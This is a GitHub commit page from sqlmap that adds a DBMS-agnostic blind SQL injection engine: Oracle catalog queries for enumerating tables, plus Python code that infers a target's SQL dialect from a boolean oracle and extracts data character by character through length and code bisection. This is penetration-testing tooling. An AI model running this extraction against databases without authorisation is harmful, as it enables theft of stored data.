Skip to content

Commit 57f8485

Browse files
committed
Adding Esperanto DBMS agnostic engine
1 parent c496cf9 commit 57f8485

20 files changed

Lines changed: 4318 additions & 9 deletions

data/xml/queries.xml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -314,8 +314,8 @@
314314
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS CAP FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE CAP=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
315315
</dbs>
316316
<tables>
317-
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="OWNER"/>
318-
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')) WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
317+
<inband query="SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'" condition="OWNER"/>
318+
<blind query="SELECT OBJECT_NAME FROM (SELECT OBJECT_NAME,ROWNUM AS CAP FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%') WHERE CAP=%d" count="SELECT COUNT(OBJECT_NAME) FROM SYS.ALL_OBJECTS WHERE OWNER='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') AND OBJECT_NAME NOT LIKE 'BIN$%%'"/>
319319
</tables>
320320
<columns>
321321
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>

extra/esperanto/__init__.py

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
"""
2+
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
3+
See the file 'LICENSE' for copying permission
4+
5+
esperanto - a DBMS-agnostic SQL poking prototype.
6+
7+
Given only a boolean oracle - a callable oracle(condition) -> bool that reports
8+
whether an arbitrary SQL boolean expression holds at the target - this discovers
9+
the target's SQL dialect from scratch (concatenation operator, substring / length
10+
/ char-code functions, string comparison, catalog surface) and then extracts data
11+
char-by-char WITHOUT ever being told which DBMS is on the other end.
12+
13+
The candidate variants below are harvested from sqlmap's own data/xml/queries.xml
14+
across all 31 supported DBMSes - the point is to reuse that accumulated knowledge
15+
as a single "esperanto" the tool speaks at any backend, rather than fingerprinting
16+
first and loading one dialect.
17+
18+
This is a self-contained research prototype (no sqlmap imports); run it directly
19+
for a built-in self-test against an in-memory SQLite oracle.
20+
"""
21+
22+
from .engine import Esperanto
23+
from .engine import hostExtract
24+
from .handler import buildHandler
25+
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy
26+
from .records import OracleUndecided, QueryBudgetExceeded

extra/esperanto/__main__.py

Lines changed: 609 additions & 0 deletions
Large diffs are not rendered by default.

extra/esperanto/atlas.py

Lines changed: 431 additions & 0 deletions
Large diffs are not rendered by default.

extra/esperanto/discovery.py

Lines changed: 467 additions & 0 deletions
Large diffs are not rendered by default.

extra/esperanto/engine.py

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
5+
See the file 'LICENSE' for copying permission
6+
"""
7+
8+
from .atlas import *
9+
from .records import *
10+
from .oracle import _OracleCore
11+
from .discovery import _Discovery
12+
from .extraction import _Extraction
13+
from .enumeration import _Enumeration
14+
15+
16+
class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
17+
"""DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern
18+
(oracle / discovery / extraction / enumeration); this class only holds
19+
construction + the query counter."""
20+
21+
def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1,
22+
maxbytes=None, max_queries=None):
23+
"""oracle: callable(condition_str) -> bool.
24+
quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or
25+
intermittently-erroring oracle can't flip a single probe and corrupt a
26+
result; retries re-attempts a raised call before it counts as an error.
27+
maxlen caps text characters; maxbytes separately caps byte/hex recovery
28+
(default 4*maxlen); max_queries is an optional hard oracle-call ceiling."""
29+
if not callable(oracle):
30+
raise TypeError("oracle must be callable")
31+
self.oracle = oracle
32+
self.verbose = verbose
33+
self.maxlen = maxlen
34+
self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes
35+
self.retries = retries
36+
self.quorum = max(1, quorum)
37+
self.max_queries = max_queries
38+
self.dialect = Dialect()
39+
self._queries = 0
40+
self._errors = 0
41+
self._hexProbed = False
42+
self._hexOrdered = None
43+
self._backslashEscape = None
44+
self._codeTmpl = None
45+
self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership"
46+
self._inOk = True # IN(...) usable (order-free subset bisection)
47+
self._lastTruncated = False
48+
self._discovered = False
49+
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
50+
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
51+
# committed data) an undecidable probe stays undecided so it degrades loudly
52+
self._progress = None # optional host callback(str) for live feedback
53+
54+
@property
55+
def queryCount(self):
56+
return self._queries
57+
58+
59+
def hostExtract(oracle, strategy, expr, maxlen=4096):
60+
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
61+
62+
This is the proof that the strategy is a sufficient hand-off: it reproduces
63+
char-by-char extraction with zero dependency on Esperanto's own retrieval code -
64+
exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in
65+
~30 lines. Covers the char-comparison modes (code / collation / ordinal /
66+
equality); hex mode is reachable the same way via strategy.renderHex()."""
67+
ask = lambda cond: bool(oracle(cond))
68+
L = strategy.renderLength(expr)
69+
if not ask("%s>=0" % L):
70+
return None
71+
if ask("%s=0" % L):
72+
return ""
73+
lo, hi = 1, min(8, maxlen)
74+
while hi < maxlen and ask("%s>%d" % (L, hi)):
75+
lo, hi = hi + 1, min(hi * 2, maxlen)
76+
while lo < hi:
77+
mid = (lo + hi) // 2
78+
lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid)
79+
length = lo
80+
81+
def read(pos):
82+
mode = strategy.compare_mode
83+
if mode == "code":
84+
code = strategy.renderCode(expr, pos)
85+
top = 0x10FFFF
86+
for cap in (127, 255, 0xFFFF, 0x10FFFF):
87+
if not ask("%s>%d" % (code, cap)):
88+
top = cap
89+
break
90+
a, b = 0, top
91+
while a < b:
92+
m = (a + b) // 2
93+
a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m)
94+
return _unichr(a)
95+
if mode in ("collation", "ordinal"):
96+
cs = _PRINTABLE_SORTED
97+
a, b = 0, len(cs) - 1
98+
while a < b:
99+
m = (a + b) // 2
100+
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
101+
return cs[a]
102+
for ch in _FREQ_ORDER: # equality scan
103+
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
104+
return ch
105+
return _REPL
106+
107+
return "".join(read(i) for i in range(1, length + 1))

0 commit comments

Comments
 (0)